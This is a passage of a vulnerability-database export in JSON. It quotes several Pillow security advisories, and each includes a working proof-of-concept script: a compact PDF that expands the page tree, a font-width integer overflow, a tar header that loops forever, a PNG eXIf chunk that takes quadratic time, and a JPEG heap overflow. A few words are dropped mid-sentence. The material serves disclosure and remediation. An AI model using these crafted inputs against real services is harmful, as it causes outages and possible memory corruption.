tree:\n\n   ```python\n   self.page_tree_root = self.read_indirect(self.pages_ref)\n   self.pages = self.linearize_page_tree(self.page_tree_root)\n   self.orig_pages = self.pages[:]\n   ```\n\n4. `linearize_page_tree()` recursively follows every `/Kids` entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:\n\n   ```python\n   def linearize_page_tree(\n       self, node: PdfDict | None = None\n   ) -> list[IndirectReference]:\n       page_node = node if node is not None else self.page_tree_root\n       check_format_condition(\n           page_node[b\"Type\"] == b\"Pages\", \"/Type of page tree node is not /Pages\"\n       )\n       pages = []\n       for kid in page_node[b\"Kids\"]:\n           kid_object = self.read_indirect(kid)\n           if kid_object[b\"Type\"] == b\"Page\":\n               pages.append(kid)\n           else:\n               pages.extend(self.linearize_page_tree(node=kid_object))\n       return pages\n   ```\n\n5. During append, `rewrite_pages()` then iterates the expanded `orig_pages` list and scans/replaces entries in `self.pages`, adding more cost to the already expanded duplicate-reference list.\n\nThe missing invariant is:\n\n```text\nThe PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.\n```\n\nThe proof intentionally uses a malformed PDF page-tree DAG: each `/Pages` node repeats the same next `/Pages` child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.\n\n### PoC\n\nEnvironment used for validation:\n\n- OS/runtime: Linux, Python `3.13.11`\n- Current tested build: Pillow `13.0.0.dev0`, commit `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`\n- Latest release tested: Pillow `12.3.0`\n- The proof uses only synthetic in-memory PDFs and does not contact the network.\n\nSave this as `poc_pillow_pdf_page_tree_dag.py`:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport io\nimport json\nimport sys\nimport time\n\nfrom PIL import Image, PdfParser\nimport PIL\n\n\ndef make_page_tree_pdf(depth: int, fanout: int) -> bytes:\n    if fanout not in (1, 2):\n        raise ValueError(\"fanout must be 1 or 2\")\n\n    objects: list[bytes] = [b\"<< /Type /Catalog /Pages 2 0 R >>\"]\n    for object_id in range(2, depth + 3):\n        next_id = object_id + 1\n        kids = b\" \".join(f\"{next_id} 0 R\".encode(\"ascii\") for _ in range(fanout))\n        parent = b\"\" if object_id == 2 else f\" /Parent {object_id - 1} 0 R\".encode()\n        objects.append(b\"<< /Type /Pages /Kids [ \" + kids + b\" ]\" + parent + b\" >>\")\n    objects.append(f\"<< /Type /Page /Parent {depth + 2} 0 R >>\".encode(\"ascii\"))\n\n    result = bytearray(b\"%PDF-1.4\\n\")\n    offsets = [0]\n    for object_id, value in enumerate(objects, start=1):\n        offsets.append(len(result))\n        result.extend(f\"{object_id} 0 obj\\n\".encode(\"ascii\"))\n        result.extend(value)\n        result.extend(b\"\\nendobj\\n\")\n\n    xref_offset = len(result)\n    result.extend(f\"xref\\n0 {len(objects) + 1}\\n\".encode(\"ascii\"))\n    result.extend(b\"0000000000 65535 f \\n\")\n    for offset in offsets[1:]:\n        result.extend(f\"{offset:010d} 00000 n \\n\".encode(\"ascii\"))\n    result.extend(\n        f\"trailer\\n<< /Size {len(objects) + 1} /Root 1 0 R >>\\n\"\n        f\"startxref\\n{xref_offset}\\n%%EOF\\n\".encode(\"ascii\")\n    )\n    return bytes(result)\n\n\ndef run_case(depth: int, fanout: int) -> dict[str, object]:\n    payload = make_page_tree_pdf(depth, fanout)\n    expected_refs = fanout ** (depth + 1)\n\n    start = time.monotonic()\n    with PdfParser.PdfParser(buf=payload) as pdf:\n        observed_refs = len(pdf.pages)\n        distinct_refs = len(set(pdf.pages))\n    parse_seconds = time.monotonic() - start\n\n    output = io.BytesIO(payload)\n    start = time.monotonic()\n    Image.new(\"L\", (1, 1), 0).save(output, format=\"PDF\", append=True)\n    append_seconds = time.monotonic() - start\n\n    return {\n        \"fanout\": fanout,\n        \"depth\": depth,\n        \"input_bytes\": len(payload),\n        \"expected_refs\": expected_refs,\n        \"observed_refs\": observed_refs,\n        \"distinct_refs\": distinct_refs,\n        \"parse_seconds\": round(parse_seconds, 6),\n        \"append_seconds\": round(append_seconds, 6),\n        \"output_bytes_after_append\": len(output.getvalue()),\n    }\n\n\ndef main() -> int:\n    depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12\n    if not 0 <= depth <= 16:\n        raise SystemExit(\"depth must be between 0 and 16\")\n\n    linear = run_case(depth, fanout=1)\n    shared_dag = run_case(depth, fanout=2)\n\n    checks = {\n        \"linear_control_stays_one_page\": linear[\"observed_refs\"] == 1,\n        \"candidate_expands_to_expected_duplicate_refs\": shared_dag[\"observed_refs\"]\n        == shared_dag[\"expected_refs\"],\n        \"candidate_has_one_distinct_page_ref\": shared_dag[\"distinct_refs\"] == 1,\n        \"candidate_input_is_compact\": shared_dag[\"input_bytes\"] <= 2048,\n        \"append_path_processed_both_inputs\": linear[\"output_bytes_after_append\"]\n        > linear[\"input_bytes\"]\n        and shared_dag[\"output_bytes_after_append\"] > shared_dag[\"input_bytes\"],\n    }\n    result = {\n        \"pillow_version\": PIL.__version__,\n        \"pillow_file\": PIL.__file__,\n        \"depth\": depth,\n        \"linear_control\": linear,\n        \"shared_dag_candidate\": shared_dag,\n        \"checks\": checks,\n        \"overall_passed\": all(checks.values()),\n    }\n    print(json.dumps(result, indent=2, sort_keys=True))\n    return 0 if result[\"overall_passed\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nRun:\n\n```bash\npython3 poc_pillow_pdf_page_tree_dag.py\n```\n\nExpected result:\n\n```text\n\"overall_passed\": true\n\"linear_control\": observed_refs == 1\n\"shared_dag_candidate\": input_bytes == 1410\n\"shared_dag_candidate\": observed_refs == 8192\n\"shared_dag_candidate\": distinct_refs == 1\n```\n\nObserved on current `main` / `13.0.0.dev0`:\n\n```text\n1410-byte input -> 8192 observed page refs -> 9.563007s append\n```\n\nObserved on Pillow `12.3.0`:\n\n```text\nPillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append\n```\n\nFor comparison, the linear control in the same harness uses a comparable-depth page tree with `fanout=1`; it produces one page reference and completed append in about `0.016` to `0.028` seconds in my validation runs.\n\n### Impact\n\nThis is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's `Image.save(..., format=\"PDF\", append=True)` route.\n\nThe demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary `Image.open()`.\n\nRequires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open().\n\nThis should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion.\n\n### Remediation\n\nReject duplicate and cyclic page-tree references before constructing `self.pages` and `self.orig_pages`.\n\nOne possible fix is to pass traversal state through `linearize_page_tree()`:\n\n- Track active `/Pages` references to reject cycles.\n- Track seen page-tree and page indirect references to reject duplicate references.\n- Raise `PdfFormatError` when the page tree is not an acyclic tree of unique indirect references.\n\nSuggested regression tests:\n\n- A small PDF whose `/Kids` array repeats the same child `/Pages` reference should raise `PdfFormatError` quickly when used through `Image.save(..., format=\"PDF\", append=True)`.\n- A normal nested linear page tree should continue to append successfully.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-mrfp-p49p-3hf2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96640"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/10093"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/6f0e7ee1f9c2fe227906f8a4b926e6622b702bc7"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-96641","published":"2026-10-29T21:58:11Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-4rm8-3hmm-39fg","BIT-pillow-2026-96641","CVE-2026-96641","PYSEC-2026-4340"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise","details":"### Summary\nAffected Object and Source\n\nPackage: Pillow 12.3.0\nSource: PyPI sdist pillow-12.3.0.tar.gz\nSHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce\nSink: src/_imaging.c:2809:15, xsize += dx\n\n### Details\nThe code in Pillow 12.3.0 is:\n```c\nfor (xsize = 0; *text; text++) {\n    int dx = self->glyphs[*text].dx;\n    if (dx > 0 && xsize > INT_MAX - dx) {\n        PyErr_SetString(PyExc_OverflowError, \"Width too large\");\n        return -1;\n    }\n    xsize += dx;\n}\n```\nThe PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for `dx` is `[-32768, 32767]`. The existing check only proves:\n`dx > 0 => xsize <= INT_MAX - dx`\nIt does **not** prove the other half of the contract:\n`dx < 0 => xsize >= INT_MIN - dx`\nTaking `dx = -32768` and repeating it 65,537 times, the mathematical sum is `-2,147,516,416`, which is less than `INT_MIN = -2,147,483,648`. On the 65,537th addition, the operation `-2147483648 + -32768` is performed, resulting in **C signed overflow undefined behavior**.\n\n### PoC\n```python\n\"\"\"Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.\n\nRun with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with\nthe PyC-Contract UBSan build to obtain the exact native diagnostic.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport struct\nfrom io import BytesIO\n\nimport PIL\nfrom PIL import Image, ImageFont\n\n\nADVANCE = -(2**15)\nCONTROL_REPEAT = 65_536\nWITNESS_REPEAT = 65_537\n\n\ndef bitmap_font(advance: int) -> ImageFont.ImageFont:\n    metrics = bytearray(256 * 20)\n    glyph_offset = ord(\"A\") * 20\n    metrics[glyph_offset : glyph_offset + 2] = struct.pack(\">h\", advance)\n    font_data = b\"PILfont\\n;;;;;;1;\\nDATA\\n\" + bytes(metrics)\n    font = ImageFont.ImageFont()\n    font._load_pilfont_data(BytesIO(font_data), Image.new(\"1\", (1, 1)))\n    return font\n\n\ndef main() -> None:\n    font = bitmap_font(ADVANCE)\n    print(f\"Pillow={PIL.__version__}\")\n    print(f\"control_math={ADVANCE * CONTROL_REPEAT}\")\n    print(f\"control_return={font.getlength('A' * CONTROL_REPEAT)}\")\n    print(f\"witness_math={ADVANCE * WITNESS_REPEAT}\")\n    print(f\"witness_return={font.getlength('A' * WITNESS_REPEAT)}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nObservations from a regular 12.3.0 release build:\n\n```text\nPillow=12.3.0\ncontrol_math=-2147483648\ncontrol_return=0\nwitness_math=-2147516416\nwitness_return=2147450880\n```\n\nThe adjacent control uses 65,536 repetitions, producing a mathematical result of exactly `INT_MIN`, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to `2,147,450,880`.\n\n\n### Impact\nThe directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.\n\nTherefore, the current recommended severity rating is \"Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model\", rather than a memory corruption vulnerability.\n\n### Recommended Patch and Regression Tests\n\nIt is recommended to extend the overflow check to cover both directions:\n```c\nif ((dx > 0 && xsize > INT_MAX - dx) ||\n    (dx < 0 && xsize < INT_MIN - dx)) {\n    PyErr_SetString(PyExc_OverflowError, \"Width too large\");\n    return -1;\n}\n```\nAt a minimum, four test cases should be added:\n1. `dx = 32767, repeat = 65538` — upper adjacent control (should succeed);\n2. `dx = 32767, repeat = 65539` — should raise `OverflowError`;\n3. `dx = -32768, repeat = 65536` — lower adjacent control (should succeed);\n4. `dx = -32768, repeat = 65537` — should raise `OverflowError`.\n\nAdditionally, it should be verified that exception propagation is consistent across `getlength()`, `getbbox()`, `getmask()`, and the underlying `font.getsize()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rm8-3hmm-39fg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96641"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/10010"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/80de4be9e38d3a6148dd4d8491eb80cd12b760a4"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-96642","published":"2026-10-29T21:58:11Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-3j72-p6qg-6xp7","BIT-pillow-2026-96642","CVE-2026-96642","PYSEC-2026-4341"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: TarIO negative size field causes infinite CPU-spin loop","details":"### Summary\n`TarIO.__init__` does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.\n\n### Details\n`TarIO.__init__` reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:\n\n```python\nsize = int(s[124:135], 8)\n...\nself.fh.seek((size + 511) & (~511), io.SEEK_CUR)\n```\nThere is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.\n\nThe loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.\n\n### Steps to reproduce\n\nThis uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.\n\n```python\nfrom PIL import TarIO\n\nwith open(\"Tests/images/hopper.tar\", \"rb\") as f:\n    data = bytearray(f.read())\n\n# Set the size field (bytes 124 to 135) to a negative octal value.\n# Octal 1000 is 512, so this is size = -512.\ndata[124:135] = b\"  -00001000\"\n\nwith open(\"poisoned.tar\", \"wb\") as f:\n    f.write(data)\n\n# \"does-not-exist\" does not match the header name, so TarIO must\n# keep scanning. This call never returns.\nTarIO.TarIO(\"poisoned.tar\", \"does-not-exist\")\n```\n\nWe confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.\n\nA pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout.\n\n```python\nfrom __future__ import annotations\n\nfrom pathlib import Path\n\nimport pytest\n\nfrom PIL import TarIO\n\nSOURCE_TAR = \"Tests/images/hopper.tar\"\n\n\n@pytest.mark.timeout(3)\ndef test_negative_size_field_does_not_hang(tmp_path: Path) -> None:\n    with open(SOURCE_TAR, \"rb\") as f:\n        data = bytearray(f.read())\n\n    data[124:135] = b\"  -00001000\"  # octal 1000 = decimal 512, negated\n\n    poisoned_tar = tmp_path / \"poisoned.tar\"\n    poisoned_tar.write_bytes(data)\n\n    with pytest.raises((OSError, ValueError)):\n        with TarIO.TarIO(str(poisoned_tar), \"does-not-exist\"):\n            pass\n```\n### Impact\n\n- Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes.\n- Confidentiality: none.\n- Integrity: none.\n- TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-3j72-p6qg-6xp7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96642"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/10012"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/19b695fdcc5eddc37374e2b1645fc4185edaf71d"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-96643","published":"2026-10-29T21:58:11Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-g4qv-2jxx-769h","BIT-pillow-2026-96643","CVE-2026-96643","PYSEC-2026-4342"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time","details":"### Summary\n  A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.\n\n  ### Details\n  `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this:\n\n  ```python\n  while data and data.startswith(b\"Exif\\x00\\x00\"):\n      data = data[6:]\n  ```\n\n  Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.\n\n  `chunk_eXIf()` in `src/PIL/PngImagePlugin.py` puts the raw PNG eXIf chunk straight into `info[\"exif\"]` with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with `MAX_TEXT_CHUNK` and `MAX_TEXT_MEMORY`. The eXIf chunk has no such cap.\n\n  If the eXIf chunk is filled with repeated `Exif\\x00\\x00` markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.\n\n  ### Steps to reproduce\n  This builds a small PNG in memory and times `Image.open().getexif()` on it. No external file needed.\n\n  ```python\n  import time\n  from io import BytesIO\n  from PIL import Image, PngImagePlugin\n\n  def chunk(cid, *data):\n      fp = BytesIO()\n      PngImagePlugin.putchunk(fp, cid, *data)\n      return fp.getvalue()\n\n  MAGIC = PngImagePlugin._MAGIC\n  IHDR = chunk(b\"IHDR\", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b\"\\x08\\x02\", b\"\\0\\0\\0\")\n  IDAT = chunk(b\"IDAT\")\n  IEND = chunk(b\"IEND\")\n\n  marker = b\"Exif\\x00\\x00\"\n  exif_chunk = chunk(b\"eXIf\", marker * 300_000)  # 1.8MB, all markers\n  data = MAGIC + IHDR + exif_chunk + IDAT + IEND\n\n  start = time.time()\n  with Image.open(BytesIO(data)) as im:\n      im.getexif()\n  print(\"took\", time.time() - start, \"seconds\")\n  ```\n\n  Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.\n\n  Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a\n  few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.\n\n  A pytest version of this test, using `pytest-timeout` so a test run does not hang if the bug is present, is  it fails with `Failed: Timeout (>2.0s) from pytest-timeout`.\n\n  ```python\n  import pytest\n  from io import BytesIO\n  from PIL import Image, PngImagePlugin\n\n  def chunk(cid, *data):\n      fp = BytesIO()\n      PngImagePlugin.putchunk(fp, cid, *data)\n      return fp.getvalue()\n\n  MAGIC = PngImagePlugin._MAGIC\n  IHDR = chunk(b\"IHDR\", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b\"\\x08\\x02\", b\"\\0\\0\\0\")\n  IDAT = chunk(b\"IDAT\")\n  IEND = chunk(b\"IEND\")\n\n  @pytest.mark.timeout(2)\n  def test_exif_load_is_not_quadratic():\n      marker = b\"Exif\\x00\\x00\"\n      exif_chunk = chunk(b\"eXIf\", marker * 300_000)\n      data = MAGIC + IHDR + exif_chunk + IDAT + IEND\n      with Image.open(BytesIO(data)) as im:\n          im.getexif()\n  ```\n\n  ### Impact\n  - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.\n  - Confidentiality: none.\n  - Integrity: none.\n  - This fires through `Image.getexif()`, `Image._getexif()`, and `ImageOps.exif_transpose()`. `exif_transpose()` is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96643"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/10073"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-96778","published":"2026-10-29T21:58:11Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-g7cr-3p24-7wf7","BIT-pillow-2026-96778","CVE-2026-96778"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer","details":"```\n============================================================================\nHeap buffer overflow writing JPEG comment after ICC profile fills buffer\nLocation: src/libImaging/JpegEncode.c:330  in ImagingJpegEncode()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA heap buffer overflow in Pillow's JPEG encoder lets anyone who can supply an image write up to 64 KB of bytes they choose, followed by the rest of the compressed image, past the end of a 64 KB heap buffer. The target is any application that re-saves the image as JPEG while keeping its colour profile. The reliable result is that the Python process is killed outright rather than raising an exception. Because the overwritten memory sits directly in front of function pointers that the encoder calls next, this could allow code execution, though the attached reproducer demonstrates only the crash.\n\nThe bug is in `ImagingJpegEncode()` in `src/libImaging/JpegEncode.c`. State 4 (line 330) calls `jpeg_write_marker()` for the COM comment marker without checking that the output buffer has room. Meanwhile, `JpegImagePlugin._save()` sizes that buffer from the EXIF and ICC/XMP data only and reserves nothing for the comment. When a 65498-byte ICC profile fills the 65536-byte buffer exactly, libjpeg's `emit_byte()` stores one byte past the end and then decrements `free_in_buffer` from 0. The `size_t` counter wraps, so the marker, the comment and the entire compressed image are written out of bounds.\n\nTriggering it takes only a valid JPEG (or PNG) carrying that profile and any comment, passed through `Image.open()` and then `im.save(..., \"JPEG\", icc_profile=im.info.get(\"icc_profile\"))`. That is the documented way to preserve colour. The comment is forwarded from `im.info` automatically, and no non-default setting is involved.\n\nThe attached reproducer re-saves such a file on the stock build, and the process dies with SIGSEGV. An identical file without the comment saves normally. An ASan build of Pillow will not flag this, because the stray writes happen inside the system libjpeg-turbo. Valgrind does report it, as an invalid write immediately after the 65569-byte allocation.\n\nThe unguarded call was introduced in e50ae85ea406 (\"Use jpeg_write_marker to write comment\", 2022-12-05) and first shipped in 9.4.0.\n\n## Details\n\n`ImagingJpegEncode()` (`src/libImaging/JpegEncode.c`) is a resumable state machine that fills a caller-supplied output buffer of `bytes` bytes and returns when it is full. State 4 writes the JPEG COM marker with `jpeg_write_marker()` without first checking that the buffer has any room left. When the preceding state 3 — the verbatim copy of the \"extra\" APP segments (ICC profile / XMP) — ends exactly at the last byte of the buffer, `jpeg_write_marker()` is entered with `free_in_buffer == 0`. libjpeg's `emit_byte()` stores the byte first and tests `--free_in_buffer == 0` afterwards, so the `size_t` counter wraps to 2^64-1 instead of triggering the \"buffer full\" path, and the 4-byte marker header, the whole comment, and then (state 5) the DQT/SOF/DHT/SOS headers and the entire entropy-coded image are written linearly past the end of the 65536-byte heap buffer allocated in `src/encode.c`.\n\nA JPEG laid out as\n\n```\nFFD8                                   SOI\nFFE2 <len> \"ICC_PROFILE\\0\" 01 01 <65498 bytes>     -> im.info[\"icc_profile\"]\nFFFE <len> <comment, any length 1..65533>           -> im.info[\"comment\"]\n<any baseline RGB JPEG body>\n```\n\nopened with `Image.open()` and re-saved with the usual colour-profile-preserving call\n\n```python\nim.save(out, \"JPEG\", icc_profile=im.info.get(\"icc_profile\"))\n```\n\nkills the Python process on the stock build at this commit: glibc aborts with `realloc(): invalid next size` / `corrupted size vs. prev_size`, or the process takes SIGSEGV inside `jpeg_write_marker`/`jpeg_write_scanlines`. Stopping at `JpegEncode.c:330` in gdb shows `next_output_byte - buf == 65536`, `free_in_buffer == 0`, `comment_size == 65533` before the call, and `next_output_byte - buf == 131073`, `free_in_buffer == 18446744073709486079` after it — 65537 bytes already written beyond a 65536-byte buffer before a single scanline has been encoded. An ASan build of Pillow does not flag this, because the out-of-bounds stores happen inside the (uninstrumented) system libjpeg-turbo; valgrind does, reporting `Invalid write ... 0 bytes after a block of size 65,569` from `jpeg_write_marker` called at `JpegEncode.c:330` before aborting on the corrupted heap metadata.\n\n### Code path\n\nThe buffer. `JpegImagePlugin._save()` sizes the encoder buffer from the metadata it is about to emit, allowing one spare byte after the extra block and nothing for the comment:\n\n```python\n# src/PIL/JpegImagePlugin.py:859-862\n    else:\n        # The EXIF info needs to be written as one block, + APP1, + one spare byte.\n        # Ensure that our buffer is big enough. Same with the icc_profile block.\n        bufsize = max(len(exif) + 5, len(extra) + 1)\n```\n\n`ImageFile._save()` then takes `max(MAXBLOCK, bufsize, width*4)` (`src/PIL/ImageFile.py:662`, `MAXBLOCK = 65536`), and `_encode()` allocates exactly that: `buf = PyBytes_FromStringAndSize(NULL, bufsize)` (`src/encode.c:134`; the real-file path `_encode_to_file()` does `malloc(bufsize)` at `src/encode.c:190`). For the input above `len(extra) == 65516`, so the buffer is 65536 bytes. The `optimize`/`progressive` branch just above (`JpegImagePlugin.py:846-858`) is not immune: its `bufsize` adds `w*h` (or `2*w*h`), but the image dimensions and the ICC length both come from the file, so an exact fit is still constructible there (e.g. with a 19×1 image).\n\nThe \"+1 spare byte\" does not account for what libjpeg itself has already put in the buffer: in state 1 `jpeg_start_compress(&cinfo, TRUE)` (`JpegEncode.c:279`) emits SOI + JFIF APP0, 20 bytes for an RGB source. State 3 then copies the extra block, clamped to the space remaining:\n\n```c\n// src/libImaging/JpegEncode.c:302-337\n        case 3:\n            if (context->extra) {\n                unsigned int n = context->extra_size - context->extra_offset;\n                if (n > context->destination.pub.free_in_buffer) {\n                    n = context->destination.pub.free_in_buffer;\n                }\n                memcpy(context->destination.pub.next_output_byte, context->extra + context->extra_offset, n);\n                context->destination.pub.next_output_byte += n;\n                context->destination.pub.free_in_buffer -= n;\n                context->extra_offset += n;\n                if (context->extra_offset >= context->extra_size) {\n                    state->state++;                 // done -> fall into case 4, even with free_in_buffer == 0\n                } else {\n                    break;\n                }\n            } …\n\n        case 4:\n            if (context->comment) {\n                jpeg_write_marker(&context->cinfo, JPEG_COM,\n                                  (unsigned char *)context->comment, context->comment_size);   // :330 — no space check\n            }\n            state->state++;\n\n        case 5:\n            if (1024 > context->destination.pub.free_in_buffer) {   // passes: free_in_buffer is now ~2^64\n                break;\n            }\n            … jpeg_write_scanlines(…) …\n```\n\nEvery other emitting state is guarded — state 2 requires `rawExifLen + 5 <= free_in_buffer` (`:287`), state 5 requires 1024 free bytes (`:340`), state 6 requires 100 (`:368`). State 4 has no guard at all. The unguarded 